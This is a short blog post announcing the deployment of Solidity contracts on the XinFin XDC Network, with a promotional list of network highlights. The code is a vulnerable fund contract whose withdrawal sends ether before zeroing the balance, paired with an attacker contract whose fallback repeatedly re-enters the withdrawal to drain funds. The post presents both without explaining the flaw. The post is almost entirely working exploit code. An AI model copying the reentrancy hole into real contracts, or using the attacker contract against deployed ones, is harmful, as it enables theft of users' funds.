Deployed a smartcontract on The fastest growing Network XinFin.

mahalakshmiper7

MahaLakshmi Perumal

Posted on December 2, 2020

Deployed a smartcontract on The fastest growing Network XinFin.

Deployed a #smartcontract on XinFin XDC Network, which is growing faster in all aspects of community building, Adoption, utilities. The highlights of the network are: 1) 2 TPS, 2)Green Coin, 3)Hybrid environment, 4)usecases

Here's my today's deployed Code:
pragma solidity ^0.4.18;
contract DaoFund{
mapping(address=>uint) balanceOf;
event WithdrawBalance(string message,uint gas);
function getUserBalance(address user) external view returns(uint) {
return balanceOf[user];
}
function addToBalance() external payable {
balanceOf[msg.sender] = balanceOf[msg.sender] + msg.value;
}
function withdrawBalance() external {
uint amountToWithdraw = balanceOf[msg.sender];
WithdrawBalance("withdrawBalance",msg.gas);
if (msg.sender.call.value(amountToWithdraw)() == false) {
revert();
}
balanceOf[msg.sender] = 0;
}
}
contract DaoFundAttacker{
address fundAddress;
int goalAmount;
event WithdrawBalance(string message,uint gas);
function DaoFundAttacker(address _fundAddress) public {
fundAddress=_fundAddress;
}
function() public payable {
goalAmount -= int(msg.value);
if( goalAmount > 0 )
{
if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))) {
WithdrawBalance("Succeeded in fallback",msg.gas);
}
else WithdrawBalance("Failed in fallback",msg.gas);
}
else {
WithdrawBalance("All the goal amount withdraweAll the goal amount withdrawed.",msg.gas);
}
}
function deposit() public payable {
if(fundAddress.call.value(msg.value).gas(20764)(bytes4(keccak256("addToBalance()"))) ==false) {
revert();
}
}
function withdraw(uint _goalAmount) public {
goalAmount = int(_goalAmount * 1 ether); if(fundAddress.call(bytes4(keccak256("withdrawBalance()")))==false ) {
WithdrawBalance("Failed in withdraw",msg.gas);
revert();
}
else WithdrawBalance("Succeeded in withdraw",msg.gas);
}
}

💖 💪 🙅 🚩
mahalakshmiper7
MahaLakshmi Perumal

Posted on December 2, 2020

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related